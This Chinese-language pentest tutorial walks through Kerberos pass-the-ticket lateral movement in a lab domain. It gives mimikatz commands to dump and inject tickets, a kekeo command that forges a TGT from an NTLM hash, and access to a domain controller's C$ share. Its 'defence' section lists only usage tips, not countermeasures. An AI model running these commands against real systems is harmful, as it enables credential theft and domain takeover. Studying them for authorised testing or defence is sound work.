前言
之前我们在哈希传递篇就介绍到,要想使用mimikatz的哈希传递功能,就必须具有本地管理员的权限。但是在实际的渗透环境中,我们更多的是得到一个低权限的域账户而已。mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,如票据传递(Pass The Ticket)。
使用mimikatz进行票据传递
我们首先使用mimikatz将内存中的票据导出。执行完以上命令后,会在当前目录下出现多个服务的票据文件,如krbtgt
、cifs
、ldap
mimikatz "privilege::debug" "sekurlsa::tickets /export"
然后我们清理一下内存中的票据
我们将Administrator@krbtgt
的这个票据文件复制到远程目标机器上,将票据文件注入内存。
kerberos::ptt "C:\Users\Administrator.WIN2008\Desktop\mimikatz\x64\tickets\[0;52372]-2-0-40e10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi"
将高权限的票据文件注入内存后,将列出远程计算机系统的文件目录
使用kekeo进行票据传递
票据传递也可以使用gentilkiwi
开源的另一款工具kekeo
实现。kekeo需要使用域名、用户名、NTLM Hash三者配合生成票据,再将票据导入,从而直接连接远程计算机。并且kekeo不需要本地管理员权限即可完成横向移动渗透。
首先在当前目录下生成一个票据文件
kekeo "tgt::ask /user:administrator /domain:hacke.testlab /ntlm:ccef208c6485269c20db2cad21734fe7"
票据文件TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi
然后我们清除当前内存中的其他票据,否则可能会导致票据传递失败
在Windows命令行下我们也可以清除内存中的票据
最后我们将票据文件导入内存中
使用命令dir \\dc\c$
查看远程主机的文件
防范票据传递攻击
- 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
- 票据文件注入内存的默认有效时间为10小时
- 在目标机器上不需要本地管理员权限即可进行票据传递